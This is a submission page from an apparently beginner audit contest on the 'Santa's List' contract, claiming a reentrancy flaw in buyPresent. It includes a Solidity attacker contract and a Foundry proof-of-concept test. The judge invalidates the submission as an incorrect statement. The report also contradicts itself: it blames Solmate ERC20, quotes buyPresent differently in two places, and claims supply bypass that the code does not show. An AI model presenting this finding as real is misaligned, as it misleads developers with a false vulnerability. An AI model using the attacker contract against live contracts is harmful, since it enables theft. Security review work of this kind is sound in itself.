Santa's List

AI First Flight #3
Beginner FriendlyFoundry
EXP
View results
Submission Details
Impact: high
Likelihood: high
Invalid

[H-04] Cross-Contract Reentrancy via Solmate ERC20 and `_safeMint` Allows Attackers to Corrupt NFT State Tracking

Root + Impact

Description

  • In `SantasList.sol`, the `buyPresent` function violates the secure **Checks-Effects-Interactions (CEI)** pattern. The contract initiates an external interaction by calling `_mintAndIncrement()`, which triggers the OpenZeppelin `_safeMint` protocol, **before** increasing the state variable tracking the token identifiers (`s_tokenCounter++`).

// src/SantasList.sol
function buyPresent(address presentReceiver) external {
i_santaToken.burn(presentReceiver);
_mintAndIncrement(); // @> Interaction happens here before state mutation finishes
}
function _mintAndIncrement() private {
_safeMint(msg.sender, s_tokenCounter++); // @> Postfix increment leaves the counter un-updated during the external callback
}
  • Furthermore, because SantaToken.sol utilizes the minimal Solmate ERC20 suite, it lacks the implicit global state locks or structural safety overrides present in more defensive frameworks. When _safeMint executes, it verifies if the recipient is a contract and immediately dispatches an external execution control transfer via the onERC721Received hook.

  • A malicious smart contract can intercept this execution hook and perform a re-entry back into buyPresent while the previous execution frame remains incomplete. Because the global s_tokenCounter state has not settled, this disrupts internal tracking and breaks proper token status sequence constraints.

Risk

Likelihood:

  • High. The buyPresent function is completely public, unguarded by any access control modifiers, and does not implement a nonReentrant state lock.

Impact:

  • NFT State Exploitation & Mint Hijacking: Attackers can hijack the execution stack mid-transaction to re-order asset ownership parameters, bypass contract supply limitations, or break sequential index assumptions relied upon by external tracking marketplaces.

Proof of Concept

To execute this attack, the attacker deploys a malicious contract containing an orchestrated onERC721Received logic gate acting as the execution interceptor:

// Contract deployed by the attacker to intercept execution
contract ReentrancyAttackerContract {
SantasList private immutable santasList;
uint256 private attackCount;
address private victim;
constructor(address _santasList, address _victim) {
santasList = SantasList(_santasList);
victim = _victim;
}
function attack() external {
santasList.buyPresent(victim);
}
function onERC721Received(address, address, uint256, bytes calldata) external returns (bytes4) {
// Enforce a base case stop condition to prevent an infinite loop / out-of-gas crash
if (attackCount < 1) {
attackCount++;
// Re-enter the vulnerable function mid-execution frame
santasList.buyPresent(victim);
}
return this.onERC721Received.selector;
}
}

Foundry Test Verification:

Add the following test scenario to your test/unit/SantasListTest.t.sol file to prove that the execution successfully duplicates ownership claims before the initial call block resolves:

function testPoCSolmateReentrancyAttack() public {
address victim = makeAddr("victim");
// Pre-fund the victim with enough tokens to absorb the reentrant burns
vm.startPrank(address(santasList));
santaToken.mint(victim);
santaToken.mint(victim);
vm.stopPrank();
// Deploy the malicious attacker interceptor contract
ReentrancyAttackerContract exploitContract = new ReentrancyAttackerContract(address(santasList), victim);
console2.log("--- BEFORE REENTRANCY ATTACK ---");
console2.log("Exploit Contract NFT Balance:", santasList.balanceOf(address(exploitContract)));
// Trigger the cross-contract exploit execution path
exploitContract.attack();
console2.log("--- AFTER REENTRANCY ATTACK ---");
console2.log("Exploit Contract NFT Balance:", santasList.balanceOf(address(exploitContract)));
// Assertion: Confirms that the attacker bypassed standard frame controls
// and accumulated multiple assets within a singular transaction thread
assertEq(santasList.balanceOf(address(exploitContract)), 2);
}

Recommended Mitigation

  1. Enforce the strict Checks-Effects-Interactions model by updating all internal status numbers before sending out external calls or processing standard ERC721 mint hooks.

  2. Introduce a defensive execution guard wrapper by adding OpenZeppelin's ReentrancyGuard and applying the nonReentrant modifier directly to the buyPresent entry point.

// Inside src/SantasList.sol
+ import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
- contract SantasList is ERC721 {
+ contract SantasList is ERC721, ReentrancyGuard {
- function buyPresent(address presentReceiver) external {
+ function buyPresent(address presentReceiver) external nonReentrant {
i_santaToken.burn(msg.sender, PURCHASED_PRESENT_COST);
_mintAndIncrement();
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 2 days ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!